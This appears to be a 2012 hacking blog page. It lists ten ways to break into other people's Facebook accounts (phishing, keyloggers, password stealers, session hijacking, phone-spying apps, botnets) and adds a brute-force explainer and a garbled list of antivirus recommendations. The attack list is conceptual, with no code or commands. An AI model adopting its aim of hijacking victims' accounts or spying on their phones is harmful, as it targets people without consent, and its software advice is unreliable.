Top 10 Ways To Hack Facebook Accounts In 2012

So here are the top 10 methods which have been the most popular in 2012:

1. Phishing

Phishing still is the most popular attack vector used for hacking facebook accounts, There are variety of methods to carry out phishing attack, In a simple phishing attacks a hacker creates a fake login page which exactly looks like the real facebook page and then asks the victim to login into that page, Once the victim logins through the fake page the victims "Email Address" and "Password" is stored in to a text file, The hacker then downloads the text file and get's his hands on the victims credentials.

2. Keylogging

Keylogging, according to me is the easiest way to hack a facebook password, Keylogging sometimes can be so dangerous that even a person with good knowledge of computers can fall for it. A keylogger is basically a small program which once is installed on victims computer will record every thing which victim types on his/her computer. The logs are then send back to the attacker by either FTP or directly to hackers email address.

3. Stealers

Almost 80% percent people use stored passwords in their browser to access the facebook, This is is quite convenient but can sometimes be extremely dangerous, Stealers are software's specially designed to capture the saved passwords stored in the victims browser, Stealers once FUD can be extremely powerful. If you want to how stealers work and how you can set up your own one?, Kindly refer the book above.

4. Session Hijacking

Session Hijacking can be often very dangerous if you are accessing Facebook on a http:// connection, In a Session Hijacking attack a hacker steals the victims browser cookie which is used to authenticate a user on a website and uses to it to access victims account, Session hijacking is widely used on Lan's.

5. Sidejacking With Firesheep
Sidejacking attack went common in late 2010, however it's still popular now a days, Firesheep is widely used to carry out sidejacking attacks, Firesheep only works when the attacker and victim is on the same wifi network. A sidejacking attack is basically another name for http session hijacking, but it's more targeted towards wifi users.

6. Mobile Phone Hacking

Millions of Facebook users access Facebook through their mobile phones. In case the hacker can gain access to the victims mobile phone then he can probably gain access to his/her Facebook account. Their are lots of Mobile Spying softwares used to monitor a Cellphone.The most popular Mobile Phone Spying softwares are:

1. Mobile Spy
2. Spy Phone Gold

7. DNS Spoofing

If both the victim and attacker are on the same network, an attacker can use a DNS spoofing attack and change the original facebook.com page to his own fake page and hence can get access to victims facebook account.

8. USB Hacking

If an attacker has physical access to your computer, he could just insert a USB programmed with a function to automatically extract saved passwords in the browser.

9. Man In the Middle Attacks

If the victim and attacker are on the same lan and on a switch based network, A hacker can place himself b/w the client and the server or he could also act as a default gateway and hence capturing all the traffic in between, ARP Poisoning which is the other name for man in the middle attacks is a very broad topic and is beyond the scope of this article.

10. Botnets

Botnets are not commonly used for hacking facebook accounts, because of it's high setup costs, They are used to carry more advanced attacks, A botnet is basically a collection of compromised computer, The infection process is same as the keylogging, however a botnet gives you, additional options in for carrying out attacks with the compromised computer. Some of the most popular botnets include Spyeye and Zeus.

Brute force attack

2012-02-05T01:50:00.000-08:00

Brute Force Attack is the most widely known password cracking method. This attack simply tries to use every possible character combination as a password. To recover a one-character password it is enough to try 26 combinations (‘a’ to ‘z’). It is guaranteed that you will find the password..

but when? How long will it take? The two-character password will require 26*26=676 combinations. The number of possible combinations (and therefore required time) grows rapidly as the length of the password increases and this method quickly becomes useless. Do you ready to wait for two months while your 9-character password is cracked? What about one hundred years for an 11-character password? Besides the maximal length of the character set you should also specify the character set i.e. the list of characters that will be included in the combinations. The longer the character set is, the longer the required period of time is. Here is the problem: usually you have no idea of what characters are present in the password. On the one hand, you should specify all possible characters. On the other hand, this can slow things down very much. Unfortunately, there are no common ways to determine what character set to use. It is more a question of luck and intuition. The only thing I can recommend is to begin with trying short passwords using the full character set. Then you can increase the length of password simultaneously decreasing the character set to keep the required time good acceptable.

If the password is case sensitive (this is the most common situation), there is another problem with the case.

There are three options:

1) you can assume that the password was typed in lower case (this is most likely). In this case, the required time will stay the same but if the password contains upper case letters it will not be recovered.

2) you can try all combinations.The password is guaranteed to be found, but the process slows down significantly. A 7-character lower case password requires about 4 hours to be recovered but if you would like to try all combinations of upper case and lower case letters, it will require 23 days.

3) The third method is trade-off. Only the most probable combinations are taken into consideration, for example "password", "PASSWORD" and "Password". The complicated combinations like "pAssWOrD" are not. In this particular case the process slows down to one third of original speed but there is still a possibility to fail.

You can reduce the amount of time required using faster computers (only the CPU speed is important. The amount of RAM, the performance of the hard drive and other hardware don’t affect the brute force speed), using several computers, choosing the fastest password crackers or tuning the brute force parameters wisely and accurately.

How to fix your infected computer ?

2011-12-14T07:49:00.000-08:00

IS your PC infected by virus,spyware etc?,Does your pc much takes time to start?,Are you looking for tools to fix up your infected computer then this post is just for you,
I get this question getting asked frequently,"How to fix your infected computer",I have posted here many ways to fix your infected computer and Make it start faster.

Steps to fix your Infected computer:
Here are some steps you need to take when fixing your infected computer:

Antivirus software

1.Kaspersky:
It is one of the best antivirus availible on web,Kaspersky Anti-Virus features include real-time protection, detection and removal of viruses, trojans, worms, spyware, adware, keyloggers malicious tools and Auto-Dialers, as well as detection and removal of rootkits. It also includes instantaneous automatic updates via the "Kaspersky Security Network" service.

2.Avira
Avira uses very less CPU and is quite compact.Avira free is much better than Avira Premium even though it offers web filter and mail filter

3.AVG
AVG is one of the most used antiviruses now a days,most of all its free and antispyware too,It is very light and does not acquire too much disk space

4.Norton
Quite slow if you have a 512 MB or 1GB RAM.2GB and 3 GB RAM Users are only advised to use this software.But it is extremely good in virus detection and does not leave a single trace of any damage,It detects 90% of viruses but not better than kaspersky.

Antispyware:
Spyware is a type of malware that is installed on computers and that collects information about users without their knowledge. The presence of spyware is typically hidden from the user. Typically, spyware is secretly installed on the user's personal computer. Sometimes, however, spywares such as keyloggers are installed by the owner of a shared, corporate, or public computer on purpose in order to secretly monitor other users. Antispware is the second step in to fix your infected computer.Running anti-spyware software has become a widely recognized element of computer security practices for computers, especially those running Microsoft Windows. A number of jurisdictions have passed anti-spyware laws, which usually target any software that is surreptitiously installed to control a user's computer.

Here is a list of some antispywares which i would recommend:

1.Ad-Aware Free Anniversary Edition 8.0.7:
It eliminates spy archives and him easily aid to eliminate them of fast form. It can choose the modules to eliminate, to keep files from registry, and to personalize the menu of the program.

2.a-squared Free 4.5.0.8:
Also known like a², one specializes in detecting, to eliminate malwares (all type of harmful file). To the day of today, a-squared detects and eliminates more of: 24.000 trojans, 67.000 worms, 40.000 dialers, 11.000 spyware y 70.000 plans or signs.

3.Malwarebytes Anti-Malware:
This antispy analyzes the discs in search of malware With option to eliminating them. This antispy can be programmed to analyze PC at a certain hour. It has a list for files in quarantine and to ignoring. There exists the possibility of activating the protection in real time (Itdetects the threats before that enter to the system), which, it is of payment.

Others are such as spyware blaster,spy defence etc

Registry scanner:
Registry scanner:Next you need a registry scanner, to fix your infected computer,Viruses often copy their algorithm into the registry entry.So you are only 50% done after you delete the virus)Well there are many registry cleaners availible such as

1.Eusing Free Registry Cleaner/scanner
2.Registry fix
3.Auslogics registry cleaner(My recommendation)

Ccleaner:
After that you can download CCleaner and optimize your computer speed by deleting unwanted registry and internet tracing cookies and temporary files.

Bonus:Anti-Malware Toolkit - a program that automatically downloads all of the recommended programs to help users clean their computers and have them running at peak performance again.

Help keep your computer safe, secure and clean from malware - get the Anti-Malware Toolkit today!